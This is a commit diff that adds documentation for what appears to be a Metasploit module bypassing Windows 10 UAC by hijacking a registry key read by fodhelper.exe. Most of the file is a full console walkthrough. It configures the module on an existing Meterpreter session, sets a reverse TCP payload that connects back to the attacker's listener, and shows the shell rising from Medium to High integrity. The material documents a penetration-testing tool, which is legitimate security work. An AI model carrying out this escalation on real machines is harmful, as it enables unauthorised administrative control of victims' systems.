add documentation

Author: amaloteaux

documentation/modules/exploit/windows/local/bypassuac_fodhelper.md

@@ -0,0 +1,89 @@
+## Intro
+
+  This module will bypass Windows 10 UAC by hijacking a special key in the Registry under
+  the current user hive, and inserting a custom command that will get invoked when
+  the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC
+  flag turned off.
+
+  This module modifies a registry key, but cleans up the key once the payload has
+  been invoked.
+
+  The module does not require the architecture of the payload to match the OS. If
+  specifying EXE::Custom your DLL should call ExitProcess() after starting your
+  payload in a separate process.
+
+## Usage
+
+  You'll first need to obtain a session on the target system.  
+  Next, once the module is loaded, one simply needs to set the ```payload``` and ```session``` options.  
+  
+
+##Scenario
+
+
+```
+msf > 
+[*] Sending stage (1189423 bytes) to 192.168.50.4
+[*] Meterpreter session 11 opened (192.168.50.1:4444 -> 192.168.50.4:1654) at 2017-05-22 19:10:43 +0100
+
+msf > sessions -i 11
+[*] Starting interaction with 11...
+
+meterpreter > shell
+Process 9496 created.
+Channel 1 created.
+Microsoft Windows [Version 10.0.14393]
+(c) 2016 Microsoft Corporation. All rights reserved.
+
+C:\Users\sasha\Desktop>whoami /all | findstr /C:"Mandatory Label"
+whoami /all | findstr /C:"Mandatory Label"
+Mandatory Label\Medium Mandatory Level                        Label            S-1-16-8192                                                                                     
+
+C:\Users\sasha\Desktop>exit
+exit
+meterpreter > 
+Background session 11? [y/N]  
+msf > use exploit/windows/local/bypassuac_fodhelper 
+msf exploit(bypassuac_fodhelper) > set SESSION 11
+SESSION => 11
+msf exploit(bypassuac_fodhelper) > show targets
+
+Exploit targets:
+
+   Id  Name
+   --  ----
+   0   Windows x86
+   1   Windows x64
+
+
+msf exploit(bypassuac_fodhelper) > set target 0
+target => 0
+msf exploit(bypassuac_fodhelper) > set payload windows/meterpreter/reverse_tcp
+payload => windows/meterpreter/reverse_tcp
+msf exploit(bypassuac_fodhelper) > run
+
+[*] Started reverse TCP handler on 192.168.50.1:4445 
+[*] UAC is Enabled, checking level...
+[+] Part of Administrators group! Continuing...
+[+] UAC is set to Default
+[+] BypassUAC can bypass this setting, continuing...
+[*] Configuring payload and stager registry keys ...
+[*] Executing payload: C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\System32\fodhelper.exe
+[*] Sending stage (957487 bytes) to 192.168.50.4
+[*] Meterpreter session 12 opened (192.168.50.1:4445 -> 192.168.50.4:1655) at 2017-05-22 19:12:03 +0100
+[*] Cleaining up registry keys ...
+
+meterpreter > shell
+Process 4076 created.
+Channel 1 created.
+Microsoft Windows [Version 10.0.14393]
+(c) 2016 Microsoft Corporation. All rights reserved.
+
+C:\WINDOWS\system32>whoami /all | findstr /C:"Mandatory Label"
+whoami /all | findstr /C:"Mandatory Label"
+ERROR: Unable to get user claims information.
+Mandatory Label\High Mandatory Level                          Label            S-1-16-12288                                                                                                 
+
+C:\WINDOWS\system32>
+
+```